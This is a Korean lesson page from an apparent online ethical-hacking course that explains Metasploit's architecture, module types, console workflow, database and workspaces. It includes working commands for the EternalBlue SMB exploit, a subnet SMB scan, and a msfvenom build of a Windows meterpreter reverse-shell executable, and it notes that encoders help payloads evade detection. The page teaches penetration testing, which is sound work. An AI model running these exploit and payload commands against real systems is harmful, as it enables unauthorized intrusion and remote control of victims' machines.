Ethical Hacking Academy · 강의

Metasploit 아키텍처

모듈과 콘솔

Metasploit 아키텍처은(는) CoddyKit의 무료 Ethical Hacking Academy 강의입니다. 이것은 4개 중 1번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 Ethical Hacking Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. Ethical Hacking Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

Metasploit이란 무엇입니까

Metasploit은 가장 널리 사용되는 익스플로잇 프레임워크입니다. 승인된 보안 업무에서 취약점을 테스트하고 시연할 수 있도록 익스플로잇, 페이로드, 도구를 체계적인 라이브러리로 제공합니다.

모든 공격을 처음부터 작성하는 대신 검증된 모듈을 불러와 구성하고 일관된 인터페이스를 통해 실행할 수 있습니다.

msfconsole

기본 인터페이스는 msfconsole이며, 대화형 명령줄 셸입니다. 탭 자동 완성, 명령 기록, 모든 모듈에 대한 액세스를 제공합니다.

터미널에서 실행한 다음 해당 프롬프트 안에서 모든 작업을 수행합니다.

msfconsole
# msf6 > help

모듈 유형

Metasploit은 기능을 모듈 유형으로 분류합니다.

exploit: 취약점을 악용하는 코드입니다.
payload: 익스플로잇 이후 대상에서 실행되는 코드입니다.
auxiliary: 페이로드를 전달하지 않는 스캐너, 퍼저 및 도구입니다.
post: 침해된 호스트에서 수행하는 익스플로잇 이후 작업입니다.
encoder 및 nop: 페이로드가 탐지를 회피하도록 돕습니다.

모듈 이름 지정

모듈은 해당 모듈의 기능을 정확히 알려 주는 계층적 경로를 사용합니다. 경로를 읽으면 유형, 플랫폼, 대상 서비스를 파악할 수 있습니다.

exploit/windows/smb/ms17_010_eternalblue
# type / platform / service / specific exploit

익스플로잇과 페이로드 비교

중요한 차이점은 다음과 같습니다.

exploit은 침입하는 방법이며, 취약한 소프트웨어를 무너뜨립니다.
payload는 침입한 후 수행하려는 작업으로, 셸을 여는 것이 그 예입니다.

두 가지를 조합하여 사용합니다. 하나의 익스플로잇으로도 목표와 대상에 따라 여러 가지 페이로드를 전달할 수 있습니다.

모듈 작업 흐름

어떤 모듈이든 반복 가능한 주기에 따라 작업합니다.

모듈을 search합니다.
use로 모듈을 불러옵니다.
RHOSTS와 LHOST 같은 options를 설정합니다.
run 또는 exploit으로 실행합니다.

이러한 일관성 덕분에 이 프레임워크는 수천 개의 모듈로 확장할 수 있습니다.

use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 10.10.10.5
exploit

데이터 저장소와 옵션

모듈 설정은 datastore에 저장됩니다. 각 옵션은 필수이거나 선택 사항일 수 있습니다.

RHOSTS: 원격 대상 주소
RPORT: 원격 포트
LHOST: 역방향 연결을 수신할 사용자의 주소
LPORT: 사용자가 수신할 포트

실행하기 전에 show options를 사용하여 모듈에 필요한 항목을 확인하십시오.

데이터베이스

Metasploit은 PostgreSQL 데이터베이스와 연동하여 보안 업무 중 발견한 호스트, 서비스, 수집물, 자격 증명을 저장합니다. 이를 통해 넓은 범위를 효율적으로 추적할 수 있습니다.

콘솔을 실행하기 전에 데이터베이스를 시작하면 결과가 자동으로 기록됩니다.

msfdb init
# Inside msfconsole:
# db_status   hosts   services   creds

보조 모듈

Auxiliary 모듈은 익스플로잇 없이 유용한 작업을 수행합니다. 포트 스캔, 서비스 열거, 로그인 무차별 대입, 퍼징 등이 그 예입니다.

이 모듈은 필요한 정보를 수집한 후 익스플로잇을 선택하는 첫 단계로 자주 사용됩니다.

use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.0/24
run

msfvenom

msfvenom은 독립 실행형 페이로드를 파일로 생성하는 보조 도구입니다. 콘솔 외부에서 전달할 실행 파일, 스크립트 또는 셸코드를 만들 수 있습니다.

하나의 명령으로 페이로드 생성과 인코딩을 결합하므로, 피싱 시뮬레이션이나 승인된 테스트에서의 맞춤형 전달에 유용합니다.

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=10.10.14.2 LPORT=4444 -f exe -o shell.exe

작업 공간

여러 보안 업무를 수행할 때 Metasploit의 작업 공간은 각 고객의 호스트, 서비스, 수집물을 데이터베이스에서 분리해 관리합니다. 작업 공간을 전환하여 평가 데이터가 서로 섞이지 않게 할 수 있습니다.

workspace -a clientA      # add a workspace
workspace clientA         # switch to it
workspace                 # list all

빠른 확인

모듈 유형에 대한 이해도를 확인해 보십시오.

복습

Metasploit의 구조에 대해 다음을 배웠습니다.

msfconsole은 기본 인터페이스이고, msfvenom은 독립 실행형 페이로드를 만듭니다.
모듈 유형: exploit, payload, auxiliary, post, encoder/nop
모듈 경로에는 유형/플랫폼/서비스 정보가 인코딩되어 있습니다.
작업 흐름: search, use, set options, run; 설정은 datastore에 저장됩니다.
PostgreSQL 데이터베이스는 호스트, 서비스, 수집물을 추적합니다.

다음 주제: 익스플로잇을 효과적으로 검색하고 사용하는 방법입니다.

자주 묻는 질문

“Metasploit 아키텍처” 강의는 무료인가요?

네 — “Metasploit 아키텍처” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 Ethical Hacking Academy 강의 전체를 잠금 해제할 수 있습니다. Ethical Hacking Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

“Metasploit 아키텍처”에서 뭘 배우나요?

모듈과 콘솔 브라우저에서 직접 실행하는 실습 코드로 Ethical Hacking Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.

Ethical Hacking Academy을(를) 시작하는 데 경험이 필요한가요?

사전 경험은 필요하지 않습니다. CoddyKit의 Ethical Hacking Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 1번째 강의입니다.

“Metasploit 아키텍처” 강의는 얼마나 걸리나요?

대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.

이 Ethical Hacking Academy 강의에서 코드를 작성하고 실행할 수 있나요?

네. 모든 Ethical Hacking Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.

이 강의의 모든 강의

← Ethical Hacking Academy(으)로 돌아가기